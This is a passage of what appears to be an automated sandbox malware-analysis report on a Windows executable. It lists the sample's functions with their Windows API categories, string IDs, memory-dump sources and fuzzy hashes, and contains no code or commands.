                                                          • Opcode Fuzzy Hash: 3f2bc404d53d5998161f0ee2b8df4f9bc3160e202cb50a098f9587f0d2c0f7e1
                                                          • Instruction Fuzzy Hash: 11C15B36744B8586EB10EF6AE8842ADBB61FB88F94FA54036DE4E47765CF38D446C310
                                                          Function 00007FF787BDC858 Relevance: 16.7, APIs: 11, Instructions: 166COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                          • String ID:
                                                          • API String ID: 1255039815-0
                                                          • Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
                                                          • Instruction ID: 058a8f27c801106856204d6af130339c29ee8e7da30c68d324b9a58a6a009854
                                                          • Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
                                                          • Instruction Fuzzy Hash: 4561BF32B546528AEB00EF61D8885BD7BA5FB44BC8BA44035DE0F53798EF38D846C360
                                                          Function 00007FF787C06C34 Relevance: 15.3, APIs: 10, Instructions: 296fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                          • String ID:
                                                          • API String ID: 2395222682-0
                                                          • Opcode ID: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
                                                          • Instruction ID: 7206d378b8959084dd92b697290794e51ddef4a0cce5c3a7dcdccd55adec80c7
                                                          • Opcode Fuzzy Hash: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
                                                          • Instruction Fuzzy Hash: 5BD16E36B48B4686EB10EF75D4402ADB3A5FB99B89FA04036CE4E57B54DF38D446C3A0
                                                          Function 00007FF787C1A59C Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$LongWindow
                                                          • String ID:
                                                          • API String ID: 312131281-0
                                                          • Opcode ID: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
                                                          • Instruction ID: fd3521a7d48982b065d57ada893cf65eb79d543031635435c7a03835f06bb028
                                                          • Opcode Fuzzy Hash: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
                                                          • Instruction Fuzzy Hash: 6A71E436654A8285E720DF65E884AEE7764FB88B94FA04136DE1E43B64CF3CD187C710
                                                          Function 00007FF787C00D24 Relevance: 15.1, APIs: 10, Instructions: 86clipboardmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                          • String ID:
                                                          • API String ID: 1737998785-0
                                                          • Opcode ID: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
                                                          • Instruction ID: 3575189080b514c2a996f770b54c601bee6f434a97299fe3ede2cca04554634c
                                                          • Opcode Fuzzy Hash: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
                                                          • Instruction Fuzzy Hash: E3418C72A5864282EB04EF16E494338BB65FF84B92F958438CA5F07792CF7CE042C760
                                                          Function 00007FF787BEB7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
                                                          • String ID: \*.*
                                                          • API String ID: 4047182710-1173974218
                                                          • Opcode ID: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
                                                          • Instruction ID: 70699d3d0ea9c180b32e4283f09c9db514eb68aeb01fbe60ccc54f91959d5100
                                                          • Opcode Fuzzy Hash: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
                                                          • Instruction Fuzzy Hash: 3C815132A4864295EB50FB64E4405AEAB61FF84798FE01132EA4F476A9DF28D547C720
                                                          Function 00007FF787BB2650 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155timeCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
                                                          • String ID: ?
                                                          • API String ID: 500310315-1684325040
                                                          • Opcode ID: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
                                                          • Instruction ID: e6b8fef519fa891c5754a0d38f7150583566f1f33cf0193accf8dd81daa470c8
                                                          • Opcode Fuzzy Hash: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
                                                          • Instruction Fuzzy Hash: 65618032A5864286E764EF21E8401B9BBA5FF48794FE40235ED4F83694DF3CE482C764
                                                          Function 00007FF787C08360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: NULL Pointer assignment$Not an Object type
                                                          • API String ID: 0-572801152
                                                          • Opcode ID: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
                                                          • Instruction ID: dadfc2a932b37fd2dc7e868f24bdd36e0290d4468d420df6238ef46bf1fbc2de
                                                          • Opcode Fuzzy Hash: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
                                                          • Instruction Fuzzy Hash: 75E1F536A48B8286EB10DF66D4802ADB7E4FB84B98FA08136DE4E47B54DF3CD546C750
                                                          Function 00007FF787BE9034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessagePost$KeyboardState$Parent
                                                          • String ID:
                                                          • API String ID: 87235514-0
                                                          • Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
                                                          • Instruction ID: 76383fe3caa2869556a8fcce1264c8f825af221a240602ddf26b505144fdf282
                                                          • Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
                                                          • Instruction Fuzzy Hash: D551C523A5D2D165FB71ABB1510067EAF62FB56BC0FE88074DA4A07B46CE1CD45AC332
                                                          Function 00007FF787BE4860 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
                                                          • String ID: DllGetClassObject
                                                          • API String ID: 668425406-1075368562
                                                          • Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
                                                          • Instruction ID: 42a19f2fe16492d2a0daf026d4e278379c265e44feab433d2a19dd573ca4bae2
                                                          • Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
                                                          • Instruction Fuzzy Hash: 2351BD72A58B4686EB14EF12E540379AB62FB44BA4FA45034EB4E57B40DF7CF056C324
                                                          Function 00007FF787BAAF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                          • String ID:
                                                          • API String ID: 1239891234-0
                                                          • Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
                                                          • Instruction ID: f1fa0fe4bcd0cdf5b56116f3a07a1fa4e332f8fc9ede7ef6b02c74649816aa54
                                                          • Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
                                                          • Instruction Fuzzy Hash: 6E318436658B8186D760EF25E8403BEB7A5FB88758FA00135EA9E43B94DF3CD546CB10
                                                          Function 00007FF787BFA874 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
                                                          • String ID: *.*
                                                          • API String ID: 1927845040-438819550
                                                          • Opcode ID: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
                                                          • Instruction ID: 338e0b431fce179c7ec9ff2314b946dac39c1ee9662e315530dc540a07da1987
                                                          • Opcode Fuzzy Hash: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
                                                          • Instruction Fuzzy Hash: 4851C732648B8295EB14EB25E8401BDAB71FB45B94FA04131DE5E07799DF3CE94AC720
                                                          Function 00007FF787C04074 Relevance: 7.6, APIs: 5, Instructions: 148networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastinet_addrsocket
                                                          • String ID:
                                                          • API String ID: 4170576061-0
                                                          • Opcode ID: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
                                                          • Instruction ID: e535d0fc3f690e3b0babb041a4b3a4bf1d91d9c97c08ad5a060c2d4e77ddd3d8
                                                          • Opcode Fuzzy Hash: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
                                                          • Instruction Fuzzy Hash: 7251E131B5865282DB10FB26D404669AB95BF8AFE0FA48535DE5F0B792CE3CD102C7A0
                                                          Function 00007FF787C0D0F8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF787C0C2BF), ref: 00007FF787C0D176
                                                          • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF787C0C2BF), ref: 00007FF787C0D217
                                                          • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF787C0C2BF), ref: 00007FF787C0D236
                                                          • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF787C0C2BF), ref: 00007FF787C0D281
                                                          • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF787C0C2BF), ref: 00007FF787C0D2A0
                                                            • Part of subcall function 00007FF787B94120: WideCharToMultiByte.KERNEL32 ref: 00007FF787B94160
                                                            • Part of subcall function 00007FF787B94120: WideCharToMultiByte.KERNEL32 ref: 00007FF787B9419C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                                          • String ID:
                                                          • API String ID: 666041331-0
                                                          • Opcode ID: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
                                                          • Instruction ID: e07d2c5bba1f55d8986e6020c05a7a332825274201498c335947b348d6f87c66
                                                          • Opcode Fuzzy Hash: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
                                                          • Instruction Fuzzy Hash: 34515B32A58B0686EB00EF6AE8801ACB775FB88BD5BA54432DE0F47355DF38D442C360
                                                          Function 00007FF787BB2D20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • _invalid_parameter_noinfo.LIBCMT ref: 00007FF787BB2D60
                                                            • Part of subcall function 00007FF787BAB184: GetCurrentProcess.KERNEL32(00007FF787BAB21D), ref: 00007FF787BAB1B1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CurrentProcess_invalid_parameter_noinfo
                                                          • String ID: *$.$.
                                                          • API String ID: 2518042432-2112782162
                                                          • Opcode ID: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
                                                          • Instruction ID: 6ad8f987a70d4c88e3d1eba867032e7e6d26c11fe6236c3ff2335f321a67f6ed
                                                          • Opcode Fuzzy Hash: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
                                                          • Instruction Fuzzy Hash: 7151C172F55A5584FB11EBE698001FDAAA6BB44BC8FE44535CE1E17B88DE38D083C324
                                                          Function 00007FF787BA84C0 Relevance: 7.1, APIs: 4, Instructions: 1071COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _get_daylight$_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 1286766494-0
                                                          • Opcode ID: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
                                                          • Instruction ID: aecfe49be8e5b211e94b959311d983deca256e1e297dcbb4b821efed4afbfb86
                                                          • Opcode Fuzzy Hash: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
                                                          • Instruction Fuzzy Hash: 23A2D432A4A6428AE727AF26E490179FBA2FB54784FA44135D74E07F94DF3DE412C720
                                                          Function 00007FF787BEC110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CloseControlCreateDeviceFileHandle
                                                          • String ID: 0
                                                          • API String ID: 33631002-4108050209
                                                          • Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
                                                          • Instruction ID: 12273b00bb84d0a53d6e1871f17a0a344e3f996fe9e010a8d17ccbf6a22272f6
                                                          • Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
                                                          • Instruction Fuzzy Hash: F9217432618780C6D320DF11E48469EBBB4F785794F644229DBAD03B94DF3CDA56CB00
                                                          Function 00007FF787BED750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
                                                          • String ID: SeShutdownPrivilege
                                                          • API String ID: 2163645468-3733053543
                                                          • Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
                                                          • Instruction ID: 2e01cf353be292a2a6de8622af965b4f5cd748d6c46d62c4d4e4e741f3a4332e
                                                          • Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
                                                          • Instruction Fuzzy Hash: 7111B233B5C64282E710EB25E84116EE652BF84750FA94135E54F83A95EF3CD806C750
                                                          Function 00007FF787B82E30 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1264COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
